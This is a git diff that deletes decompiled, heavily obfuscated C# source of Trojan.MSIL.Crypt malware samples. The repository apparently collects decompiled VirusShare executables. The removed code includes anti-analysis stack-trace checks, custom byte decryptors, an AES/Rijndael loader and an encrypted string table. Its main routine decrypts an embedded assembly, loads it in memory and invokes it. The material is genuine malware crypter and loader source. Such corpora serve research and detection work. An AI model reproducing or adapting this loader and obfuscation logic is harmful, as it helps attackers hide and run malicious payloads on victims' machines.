goto label_3; - } - - [MethodImpl(MethodImplOptions.NoInlining)] - private static bool \u0002() => \u0006.\u0003(); - - [MethodImpl(MethodImplOptions.NoInlining)] - private static bool \u0003() - { - StackTrace stackTrace1 = new StackTrace(); - if (true) - goto label_6; -label_1: - StackTrace stackTrace2; - StackFrame frame = stackTrace2.GetFrame(3); - if (true) - goto label_7; -label_2: - StackFrame stackFrame; - MethodBase methodBase1 = stackFrame == null ? (MethodBase) null : stackFrame.GetMethod(); - if (true) - goto label_8; -label_3: - MethodBase methodBase2; - Type type = (object) methodBase2 == null ? (Type) null : methodBase2.DeclaringType; - return (object) type != (object) typeof (RuntimeMethodHandle) && (object) type != null && (object) type.Assembly == (object) typeof (\u0006).Assembly; -label_8: - methodBase2 = methodBase1; - goto label_3; -label_7: - stackFrame = frame; - goto label_2; -label_6: - stackTrace2 = stackTrace1; - goto label_1; - } - - private static int \u0002(Type _param0) - { - Type type = _param0; - if (true) - ; - return type.MetadataToken; - } - - private sealed class \u0002 - { - private int \u0002; - private int \u0003; - - internal \u0002() - { - if (true) - ; - // ISSUE: explicit constructor call - base.\u002Ector(); - this.\u0002(0L); - } - - [MethodImpl(MethodImplOptions.NoInlining)] - internal long \u0002() - { - if ((object) Assembly.GetCallingAssembly() != (object) typeof (\u0006.\u0002).Assembly || !\u0006.\u0002()) - return 2918384; - int[] numArray1 = new int[4]; - if (true) - goto label_14; -label_3: - int[] numArray2; - numArray2[3] = ~--~~--~-~~-2146867248; - numArray2[1] = -~~--~~--~~1471952358; - numArray2[2] = -~-~~-~--~~-488347538; - numArray2[0] = -~~-~-~-~731721866; - int num1 = this.\u0002; - if (true) - goto label_15; -label_4: - int num2 = this.\u0003; - if (true) - goto label_16; -label_5: - int num3 = ~-~--~~-~1640531524; - if (true) - goto label_17; -label_6: - int num4 = ~--~~-~-~957401309; - if (true) - goto label_18; -label_7: - if (true) - goto label_19; -label_9: - int num5; - int num6; - int num7; - int num8; - int num9; - for (; num9 != 32; ++num9) - { - num5 -= (num6 << 4 ^ num6 >> 5) + num6 ^ num7 + numArray2[num7 >> 11 & 3]; - num7 -= num8; - num6 -= (num5 << 4 ^ num5 >> 5) + num5 ^ num7 + numArray2[num7 & 3]; - } - for (int index = 0; index != 4; ++index) - numArray2[index] = 0; - return (long) ((ulong) num5 << 32 | (ulong) (uint) num6); -label_19: - num9 = 0; - goto label_9; -label_18: - num7 = num4; - goto label_7; -label_17: - num8 = num3; - goto label_6; -label_16: - num5 = num2; - goto label_5; -label_15: - num6 = num1; - goto label_4; -label_14: - numArray2 = numArray1; - goto label_3; - } - - [MethodImpl(MethodImplOptions.NoInlining)] - internal void \u0002(long _param1) - { - if ((object) Assembly.GetCallingAssembly() != (object) typeof (\u0006.\u0002).Assembly || !\u0006.\u0002()) - return; - int[] numArray1 = new int[4]; - if (true) - goto label_13; -label_2: - int[] numArray2; - numArray2[1] = -~-~-~~-~1471952359; - numArray2[0] = -~-~~--~~-~731721869; - numArray2[2] = ~-~--~~-~-488347541; - numArray2[3] = -~~--~-~-~~-2146867246; - int num1 = ~-~--~~-~1640531524; - if (true) - goto label_14; -label_3: - int num2 = (int) _param1; - if (true) - goto label_15; -label_4: - int num3 = (int) (_param1 >> 32); - if (true) - goto label_16; -label_5: - if (true) - goto label_17; -label_6: - int num4; - int num5; - int num6; - int num7; - for (int index = 0; index != 32; ++index) - { - num4 += (num5 << 4 ^ num5 >> 5) + num5 ^ num6 + numArray2[num6 & 3]; - num6 += num7; - num5 += (num4 << 4 ^ num4 >> 5) + num4 ^ num6 + numArray2[num6 >> 11 & 3]; - } - for (int index = 0; index != 4; ++index) - numArray2[index] = 0; - this.\u0002 = num4; - this.\u0003 = num5; - return; -label_17: - num6 = 0; - goto label_6; -label_16: - num5 = num3; - goto label_5; -label_15: - num4 = num2; - goto label_4; -label_14: - num7 = num1; - goto label_3; -label_13: - numArray2 = numArray1; - goto label_2; - } - } - - private static class \u0003 - { - internal static int \u0002(int _param0, int _param1) - { - int num1 = _param0; - if (true) - ; - int num2 = _param1 - -~~-~-~-~-~766725945; - return num1 ^ num2; - } - - internal static int \u0003(int _param0, int _param1) - { - int num1 = _param0; - if (true) - ; - int num2 = -~-~-~~-~-470254723; - return num1 - num2 ^ _param1 + ~--~~-~-~-~-716798414; - } - - internal static int \u0005(int _param0, int _param1) - { - int num1 = _param0; - if (true) - ; - int num2 = _param1 - -~~-~-~-~-~1111659711 ^ _param0 - _param1; - return num1 ^ num2; - } - } - - private sealed class \u0005 - { - public \u0005() - { - if (true) - ; - // ISSUE: explicit constructor call - base.\u002Ector(); - } - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static int \u0002() => (object) Assembly.GetCallingAssembly() != (object) typeof (\u0006.\u0005).Assembly || !\u0006.\u0002() ? -1509110933 : \u0006.\u0003.\u0005(\u0006.\u0003.\u0003(\u0006.\u0002(typeof (\u0006.\u0006)), \u0006.\u0003.\u0005(\u0006.\u0002(typeof (\u0006.\u0005)), \u0006.\u0002(typeof (\u0006.\u000F)))), \u0006.\u0002\u2000.\u0002()); - } - - private sealed class \u0006 - { - public \u0006() - { - if (true) - ; - // ISSUE: explicit constructor call - base.\u002Ector(); - } - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static int \u0002() => (object) Assembly.GetCallingAssembly() != (object) typeof (\u0006.\u0006).Assembly || !\u0006.\u0002() ? -82806859 : \u0006.\u0003.\u0002(\u0006.\u0002(typeof (\u0006.\u0008)), \u0006.\u0002(typeof (\u0006.\u000E)) ^ \u0006.\u0003.\u0003(\u0006.\u0002(typeof (\u0006.\u0006)), \u0006.\u0003.\u0005(\u0006.\u0002(typeof (\u0006.\u0002\u2000)), \u0006.\u000E.\u0002()))); - } - - private sealed class \u0008 - { - public \u0008() - { - if (true) - ; - // ISSUE: explicit constructor call - base.\u002Ector(); - } - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static int \u0002() => (object) Assembly.GetCallingAssembly() != (object) typeof (\u0006.\u0008).Assembly || !\u0006.\u0002() ? 1294352278 : \u0006.\u0003.\u0005(\u0006.\u0003.\u0002(\u0006.\u0006.\u0002() ^ -~-~-~~-~-527758445, \u0006.\u0002(typeof (\u0006.\u000E))), \u0006.\u0003.\u0003(\u0006.\u0002(typeof (\u0006.\u0005)) ^ \u0006.\u0002(typeof (\u0006.\u0002\u2000)), ~--~~-~-~124064596)); - } - - private sealed class \u000E - { - public \u000E() - { - if (true) - ; - // ISSUE: explicit constructor call - base.\u002Ector(); - } - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static int \u0002() => (object) Assembly.GetCallingAssembly() != (object) typeof (\u0006.\u000E).Assembly || !\u0006.\u0002() ? 402344241 : \u0006.\u0003.\u0005(\u0006.\u0002(typeof (\u0006.\u000E)), \u0006.\u0003.\u0002(\u0006.\u0002(typeof (\u0006.\u0005)), \u0006.\u0003.\u0003(\u0006.\u0002(typeof (\u0006.\u0006)), \u0006.\u0003.\u0005(\u0006.\u0002(typeof (\u0006.\u0008)), \u0006.\u0003.\u0002(\u0006.\u0002(typeof (\u0006.\u000F)), \u0006.\u0002(typeof (\u0006.\u0002\u2000))))))); - } - - private sealed class \u000F - { - public \u000F() - { - if (true) - ; - // ISSUE: explicit constructor call - base.\u002Ector(); - } - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static int \u0002() => (object) Assembly.GetCallingAssembly() != (object) typeof (\u0006.\u000F).Assembly || !\u0006.\u0002() ? -56237163 : \u0006.\u0003.\u0003(\u0006.\u0003.\u0003(\u0006.\u0008.\u0002(), \u0006.\u0003.\u0002(\u0006.\u0002(typeof (\u0006.\u000F)), \u0006.\u0006.\u0002())), \u0006.\u0002(typeof (\u0006.\u0002\u2000))); - } - - private sealed class \u0002\u2000 - { - public \u0002\u2000() - { - if (true) - ; - // ISSUE: explicit constructor call - base.\u002Ector(); - } - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static int \u0002() => (object) Assembly.GetCallingAssembly() != (object) typeof (\u0006.\u0002\u2000).Assembly || !\u0006.\u0002() ? 1106695601 : \u0006.\u0003.\u0002(\u0006.\u0002(typeof (\u0006.\u0002\u2000)), \u0006.\u0003.\u0005(\u0006.\u0003.\u0003(\u0006.\u0002(typeof (\u0006.\u000F)), \u0006.\u0002(typeof (\u0006.\u0005))), \u0006.\u0003.\u0005(\u0006.\u0002(typeof (\u0006.\u0008)) ^ ~-~--~~-~1419515221, \u0006.\u000F.\u0002()))); - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gsi-80aa82b90d2d3762f304506f245be1c4d4584b11a899af160dd4cc2b806708a3/_0008.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gsi-80aa82b90d2d3762f304506f245be1c4d4584b11a899af160dd4cc2b806708a3/_0008.cs deleted file mode 100644 index f675c3ae..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gsi-80aa82b90d2d3762f304506f245be1c4d4584b11a899af160dd4cc2b806708a3/_0008.cs +++ /dev/null @@ -1,52 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: jvfB7Dghj3, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 3415921B-4A7C-459B-8AB4-2271E9BB92A6 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan.MSIL.Crypt.gsi-80aa82b90d2d3762f304506f245be1c4d4584b11a899af160dd4cc2b806708a3.exe - -internal static class \u0008 -{ - public static byte[] \u0002(byte[] _param0, byte[] _param1) - { - int num1 = (int) _param0[1]; - if (true) - goto label_9; -label_1: - int length = _param1.Length; - if (true) - goto label_10; -label_2: - int num2; - byte num3; - int num4 = (int) (byte) (num2 + 11 ^ (int) num3 + 7); - if (true) - goto label_11; -label_3: - byte num5; - uint num6 = (uint) (((int) _param0[0] | (int) _param0[2] << 8) + ((int) num5 << 3)); - ushort num7 = 0; - for (int index = 0; index < num2; ++index) - { - if ((index & 1) == 0) - { - num6 = (uint) ((int) num6 * 214013 + 2531011); - num7 = (ushort) (num6 >> 16); - } - byte num8 = (byte) num7; - num7 >>= 8; - byte num9 = _param1[index]; - _param1[index] = (byte) ((uint) ((int) num9 ^ (int) num3 ^ (int) num5 + 3) ^ (uint) num8); - num5 = num9; - } - return _param1; -label_11: - num5 = (byte) num4; - goto label_3; -label_10: - num2 = length; - goto label_2; -label_9: - num3 = (byte) num1; - goto label_1; - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gsi-80aa82b90d2d3762f304506f245be1c4d4584b11a899af160dd4cc2b806708a3/      ​    ​ b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gsi-80aa82b90d2d3762f304506f245be1c4d4584b11a899af160dd4cc2b806708a3/      ​    ​ deleted file mode 100644 index ac5a3c34837bf25c57fc6dd9e89f30b1364f1932..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 660 zcmV;F0&D%n?$!29qv;#a|9^`?X#+jEh)%M~)l7UO;Xbw zUG>@}2hjh2XcmhmVzds)b6T_y%1iQTTvT6^n>lHwR?z={n(mx&HA3+UWMllQUnvMB z@+nae__)DgofAGKU2KUP@>#BB(EoqkhzMy`R9!=3k1MlDPp% z5%9cN;IwWQ?x>y4o%hiHe|a94THY+fG0Cm3ftQ+sK}b!d}hYo85wJi|BjN#-x7+?hIW5Tlp{?> z<)9lS(f@zdGQ2ucsrjtxfsw%q@E>%ByGo@Ls)$5$c8kTs=C4e(p$YEtDAYQWkl}36 z|9{_GjWd3U>K%$Od!B41@PPrIs2Z>Y9k`B@fQs z*3tieoUhFvkPtc(J+7PEghn_I?J&s*>`F%Ub8eM9`VGG0Scwl&(f@zJ3&QXEjF>J- zXKT^;=+O-I5QkTl_L|68q^&yrL4#I_Q9tcSh3W-AYyiL|lO>mt3rUumj5^0K z#3*|%TyzNsHx%*WI^NKA^N - - - - Debug - AnyCPU - {A3CA3457-B0E6-46F5-8C5F-18CA7439B792} - WinExe - dno_ebanoe - 10.1.2.5 - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - true - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - true - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gtj-37194e4c8b075c04cfb403842d3089bdcb2a71aadc48682f02af8e709100417b/Trojan.MSIL.Crypt.gtj.sln b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gtj-37194e4c8b075c04cfb403842d3089bdcb2a71aadc48682f02af8e709100417b/Trojan.MSIL.Crypt.gtj.sln deleted file mode 100644 index 90d4ac32..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gtj-37194e4c8b075c04cfb403842d3089bdcb2a71aadc48682f02af8e709100417b/Trojan.MSIL.Crypt.gtj.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "dno_ebanoe", "Trojan.MSIL.Crypt.gtj-37194e4c8b075c04cfb403842d3089bdcb2a71aadc48682f02af8e709100417b.csproj", "{A3CA3457-B0E6-46F5-8C5F-18CA7439B792}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {A3CA3457-B0E6-46F5-8C5F-18CA7439B792}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {A3CA3457-B0E6-46F5-8C5F-18CA7439B792}.Debug|Any CPU.Build.0 = Debug|Any CPU - {A3CA3457-B0E6-46F5-8C5F-18CA7439B792}.Release|Any CPU.ActiveCfg = Release|Any CPU - {A3CA3457-B0E6-46F5-8C5F-18CA7439B792}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gtj-37194e4c8b075c04cfb403842d3089bdcb2a71aadc48682f02af8e709100417b/_0001/_0001.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gtj-37194e4c8b075c04cfb403842d3089bdcb2a71aadc48682f02af8e709100417b/_0001/_0001.cs deleted file mode 100644 index d0b461c3..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gtj-37194e4c8b075c04cfb403842d3089bdcb2a71aadc48682f02af8e709100417b/_0001/_0001.cs +++ /dev/null @@ -1,139 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: dno_ebanoe, Version=10.1.2.5, Culture=neutral, PublicKeyToken=null -// MVID: 309D9199-0867-40C5-B2E8-3B9E89A70B78 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan.MSIL.Crypt.gtj-37194e4c8b075c04cfb403842d3089bdcb2a71aadc48682f02af8e709100417b.exe - -using System; -using System.Diagnostics; -using System.Reflection; -using System.Runtime.InteropServices; - -namespace \u0001 -{ - internal sealed class \u0001 - { - private static Assembly \u0001 = (Assembly) null; - private static string[] \u0001 = new string[0]; - - internal static void \u0001() - { - try - { - AppDomain.CurrentDomain.ResourceResolve += new ResolveEventHandler(\u0001.\u0001.\u0001); - } - catch (Exception ex) - { - } - } - - private static Assembly \u0001([In] object obj0, [In] ResolveEventArgs obj1) - { -label_0: - if ((object) \u0001.\u0001.\u0001 == null) - { - lock (\u0001.\u0001.\u0001) - { - \u0001.\u0001.\u0001 = Assembly.Load("{1edf28d0-ec7a-44be-9ad0-f4ccd1241883}, PublicKeyToken=3e56350693f7355e"); - if ((object) \u0001.\u0001.\u0001 != null) - \u0001.\u0001.\u0001 = \u0001.\u0001.\u0001.GetManifestResourceNames(); - } - } - string name = obj1.Name; - int index = 0; - while (true) - { - int num1 = index; - if (true) - goto label_18; -label_9: - if (true) - { - if (num1 == 0) - num1 = index; - else - break; - } - int num2 = 1; -label_16: - index = num1 + num2; - continue; -label_18: - int num3 = \u0001.\u0001.\u0001.Length; - while (true) - { - if (false) - { - num2 = num3; - goto label_16; - } - else - { - int num4 = num3; - if (false) - num3 = num4; - else if (num1 < num4) - { - num1 = \u0001.\u0001.\u0001[index] == name ? 1 : 0; - goto label_9; - } - else - { - if (true) - return (Assembly) null; - goto label_0; - } - } - } - num2 = num3; - goto label_16; - } - return !\u0001.\u0001.\u0001() ? (Assembly) null : \u0001.\u0001.\u0001; - } - - private static unsafe bool \u0001() - { - int num1 = 5; - if (num1 == 0) - return num1 != 0; - // ISSUE: untyped stack allocation - void* voidPtr = (void*) __untypedstackalloc(num1); - try - { - StackFrame[] frames = new StackTrace().GetFrames(); - *(int*) voidPtr = 2; - while (true) - { - do - { - int num2 = *(int*) voidPtr; - int num3 = frames.Length; - if (true) - num3 = num3; - if (num2 < num3) - { - if ((object) frames[*(int*) voidPtr].GetMethod().Module.Assembly != (object) Assembly.GetExecutingAssembly()) - goto label_6; - } - else - goto label_10; - } - while (false); - break; -label_6: - *(int*) voidPtr = *(int*) voidPtr + 1; - } - *(sbyte*) ((IntPtr) voidPtr + 4) = (sbyte) 1; - goto label_13; -label_10: - *(sbyte*) ((IntPtr) voidPtr + 4) = (sbyte) 0; - } - catch - { - *(sbyte*) ((IntPtr) voidPtr + 4) = (sbyte) 1; - } -label_13: - return (bool) *(sbyte*) ((IntPtr) voidPtr + 4); - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gtj-37194e4c8b075c04cfb403842d3089bdcb2a71aadc48682f02af8e709100417b/_0001/_0002.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gtj-37194e4c8b075c04cfb403842d3089bdcb2a71aadc48682f02af8e709100417b/_0001/_0002.cs deleted file mode 100644 index f7de64d4..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gtj-37194e4c8b075c04cfb403842d3089bdcb2a71aadc48682f02af8e709100417b/_0001/_0002.cs +++ /dev/null @@ -1,34 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: dno_ebanoe, Version=10.1.2.5, Culture=neutral, PublicKeyToken=null -// MVID: 309D9199-0867-40C5-B2E8-3B9E89A70B78 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan.MSIL.Crypt.gtj-37194e4c8b075c04cfb403842d3089bdcb2a71aadc48682f02af8e709100417b.exe - -using \u0005; -using System; -using System.IO; -using System.Reflection; - -namespace \u0001 -{ - internal sealed class \u0002 : IDisposable - { - internal readonly Type \u0001; - internal readonly object \u0001; - - public \u0002() - { - try - { - this.\u0001 = Assembly.Load("System.Core, Version=2.0.5.0, Culture=neutral, PublicKeyToken=7cec85d7bea7798e").GetType("System.Security.Cryptography.AesManaged"); - } - catch (FileNotFoundException ex) - { - this.\u0001 = Assembly.Load("mscorlib").GetType("System.Security.Cryptography.RijndaelManaged"); - } - this.\u0001 = Activator.CreateInstance(this.\u0001); - } - - public void \u0001() => \u0001.\u0001(this); - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gtj-37194e4c8b075c04cfb403842d3089bdcb2a71aadc48682f02af8e709100417b/_0002/_0001.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gtj-37194e4c8b075c04cfb403842d3089bdcb2a71aadc48682f02af8e709100417b/_0002/_0001.cs deleted file mode 100644 index e2550848..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gtj-37194e4c8b075c04cfb403842d3089bdcb2a71aadc48682f02af8e709100417b/_0002/_0001.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: dno_ebanoe, Version=10.1.2.5, Culture=neutral, PublicKeyToken=null -// MVID: 309D9199-0867-40C5-B2E8-3B9E89A70B78 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan.MSIL.Crypt.gtj-37194e4c8b075c04cfb403842d3089bdcb2a71aadc48682f02af8e709100417b.exe - -using Microsoft.VisualBasic.ApplicationServices; -using System.CodeDom.Compiler; -using System.ComponentModel; - -namespace \u0002 -{ - [GeneratedCode("MyTemplate", "8.0.0.0")] - [EditorBrowsable(EditorBrowsableState.Never)] - internal sealed class \u0001 : ApplicationBase - { - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gtj-37194e4c8b075c04cfb403842d3089bdcb2a71aadc48682f02af8e709100417b/_0002/_0002.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gtj-37194e4c8b075c04cfb403842d3089bdcb2a71aadc48682f02af8e709100417b/_0002/_0002.cs deleted file mode 100644 index 3134404c..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gtj-37194e4c8b075c04cfb403842d3089bdcb2a71aadc48682f02af8e709100417b/_0002/_0002.cs +++ /dev/null @@ -1,24 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: dno_ebanoe, Version=10.1.2.5, Culture=neutral, PublicKeyToken=null -// MVID: 309D9199-0867-40C5-B2E8-3B9E89A70B78 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan.MSIL.Crypt.gtj-37194e4c8b075c04cfb403842d3089bdcb2a71aadc48682f02af8e709100417b.exe - -using Microsoft.VisualBasic.Devices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; - -namespace \u0002 -{ - [GeneratedCode("MyTemplate", "8.0.0.0")] - [EditorBrowsable(EditorBrowsableState.Never)] - internal sealed class \u0002 : Computer - { - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public \u0002() - { - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gtj-37194e4c8b075c04cfb403842d3089bdcb2a71aadc48682f02af8e709100417b/_0002/_0003.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gtj-37194e4c8b075c04cfb403842d3089bdcb2a71aadc48682f02af8e709100417b/_0002/_0003.cs deleted file mode 100644 index 8c04acc2..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gtj-37194e4c8b075c04cfb403842d3089bdcb2a71aadc48682f02af8e709100417b/_0002/_0003.cs +++ /dev/null @@ -1,48 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: dno_ebanoe, Version=10.1.2.5, Culture=neutral, PublicKeyToken=null -// MVID: 309D9199-0867-40C5-B2E8-3B9E89A70B78 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan.MSIL.Crypt.gtj-37194e4c8b075c04cfb403842d3089bdcb2a71aadc48682f02af8e709100417b.exe - -using \u0002; -using \u0005; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.Reflection; - -namespace \u0002 -{ - [StandardModule] - internal sealed class \u0003 - { - internal static byte[] \u0001; - internal static byte[] \u0002; - - [STAThread] - public static void \u0001() - { - try - { - \u0001.\u0001(); - \u0001.\u0001(\u0001.\u0001(\u0002.\u0005.\u0001(151)), \u0001.\u0001(\u0002.\u0005.\u0001(164))); - string str = Convert.ToBase64String(\u0003.\u0002) + \u0002.\u0005.\u0001(177) + Assembly.GetExecutingAssembly().Location + \u0002.\u0005.\u0001(210); - Assembly.Load(\u0003.\u0001).GetType(\u0002.\u0005.\u0001(247)).GetMethods()[0].Invoke((object) null, new object[2] - { - (object) false, - (object) str - }); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - Exception exception = ex; - do - { - Console.WriteLine(exception.Message); - ProjectData.ClearProjectError(); - } - while (false); - } - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gtj-37194e4c8b075c04cfb403842d3089bdcb2a71aadc48682f02af8e709100417b/_0002/_0004.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gtj-37194e4c8b075c04cfb403842d3089bdcb2a71aadc48682f02af8e709100417b/_0002/_0004.cs deleted file mode 100644 index 36ec34a7..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gtj-37194e4c8b075c04cfb403842d3089bdcb2a71aadc48682f02af8e709100417b/_0002/_0004.cs +++ /dev/null @@ -1,12 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: dno_ebanoe, Version=10.1.2.5, Culture=neutral, PublicKeyToken=null -// MVID: 309D9199-0867-40C5-B2E8-3B9E89A70B78 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan.MSIL.Crypt.gtj-37194e4c8b075c04cfb403842d3089bdcb2a71aadc48682f02af8e709100417b.exe - -namespace \u0002 -{ - internal sealed class \u0004 - { - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gtj-37194e4c8b075c04cfb403842d3089bdcb2a71aadc48682f02af8e709100417b/_0002/_0005.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gtj-37194e4c8b075c04cfb403842d3089bdcb2a71aadc48682f02af8e709100417b/_0002/_0005.cs deleted file mode 100644 index 3c9df121..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gtj-37194e4c8b075c04cfb403842d3089bdcb2a71aadc48682f02af8e709100417b/_0002/_0005.cs +++ /dev/null @@ -1,234 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: dno_ebanoe, Version=10.1.2.5, Culture=neutral, PublicKeyToken=null -// MVID: 309D9199-0867-40C5-B2E8-3B9E89A70B78 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan.MSIL.Crypt.gtj-37194e4c8b075c04cfb403842d3089bdcb2a71aadc48682f02af8e709100417b.exe - -using \u0002; -using \u0006; -using System; -using System.Collections; -using System.IO; -using System.Reflection; -using System.Text; - -namespace \u0002 -{ - internal sealed class \u0005 - { - private static readonly string \u0001; - private static readonly string \u0002; - private static readonly byte[] \u0001; - private static readonly Hashtable \u0001; - private static readonly bool \u0001; - private static readonly int \u0001; - - [\u0003] - [\u0002.\u0006] - public static string \u0001(int _param0) - { - int index1; - int num1; - int count; - string str1; - int num2; - do - { - int num3 = _param0; - int num4; - while (true) - { - int num5 = \u0005.\u0001; - _param0 = num3 - num5; - do - { - if (\u0005.\u0001) - { - str1 = (string) \u0005.\u0001[(object) _param0]; - switch (str1) - { - case null: - goto label_5; - default: - continue; - } - } - else - goto label_5; - } - while (false); - goto label_27; -label_5: - int num6 = _param0; - byte[] numArray = \u0005.\u0001; - int index2 = num6; - index1 = index2 + 1; - num1 = (int) numArray[index2]; - num4 = num1 & 128; - if (false) - num3 = num4; - else - break; - } - if (num4 == 0) - { - num2 = num1; - if (true) - { - count = num2; - if (count != 0) - goto label_21; - } - else - goto label_28; - } - else - goto label_11; - } - while (false); - return string.Empty; -label_11: - int num7; - if ((num1 & 64) == 0) - { - int num8 = num1 & 63; - if (true) - num8 <<= 8; - int num9 = (int) \u0005.\u0001[index1++]; - count = num8 + num9; - goto label_21; - } - else - num7 = num1; -label_16: - int num10 = (num7 & 31) << 24; - byte[] numArray1 = \u0005.\u0001; - int index3 = index1; - int num11 = index3 + 1; - int num12 = (int) numArray1[index3]; - int num13; - if (true) - num13 = 16; - else - goto label_19; -label_18: - int num14 = num12 << num13; - int num15 = num10 + num14; - num12 = (int) \u0005.\u0001[num11++]; - num10 = num15; -label_19: - num13 = 8; - if (num13 != 0) - { - int num16 = num12 << num13; - int num17 = num10 + num16; - byte[] numArray2 = \u0005.\u0001; - int index4 = num11; - index1 = index4 + 1; - int num18 = (int) numArray2[index4]; - count = num17 + num18; - goto label_21; - } - else - goto label_18; -label_28: - num7 = num2; - goto label_16; -label_21: - try - { - byte[] bytes = Convert.FromBase64String(Encoding.UTF8.GetString(\u0005.\u0001, index1, count)); - string str2 = string.Intern(Encoding.UTF8.GetString(bytes, 0, bytes.Length)); - if (\u0005.\u0001) - { - try - { - \u0005.\u0001.Add((object) _param0, (object) str2); - } - catch - { - } - } - return str2; - } - catch - { - return (string) null; - } -label_27: - return str1; - } - - static \u0005() - { - while (true) - { - \u0005.\u0001 = "0"; - if (true) - { - \u0005.\u0002 = "151"; - if (true) - { - \u0005.\u0001 = (byte[]) null; - \u0005.\u0001 = (Hashtable) null; - int num1 = 0; - int num2; - while (true) - { - \u0005.\u0001 = num1 != 0; - num2 = 0; - if (num2 != 0) - num1 = num2; - else - break; - } - \u0005.\u0001 = num2; - if (\u0005.\u0001 == "1") - { - if (true) - { - \u0005.\u0001 = true; - if (true) - { - \u0005.\u0001 = new Hashtable(); - break; - } - goto label_14; - } - else - goto label_14; - } - else - break; - } - else - goto label_15; - } - } - \u0005.\u0001 = Convert.ToInt32(\u0005.\u0002); -label_14: - Assembly executingAssembly = Assembly.GetExecutingAssembly(); -label_15: - Stream manifestResourceStream = executingAssembly.GetManifestResourceStream("{c67dda5a-9bb5-4e0f-8e31-b703dc4211a7}"); - if (true) - goto label_16; -label_9: - Stream stream; - try - { - int int32 = Convert.ToInt32(stream.Length); - \u0005.\u0001 = new byte[int32]; - stream.Read(\u0005.\u0001, 0, int32); - stream.Close(); - return; - } - finally - { - stream?.Dispose(); - } -label_16: - stream = manifestResourceStream; - goto label_9; - } - } -} diff --git 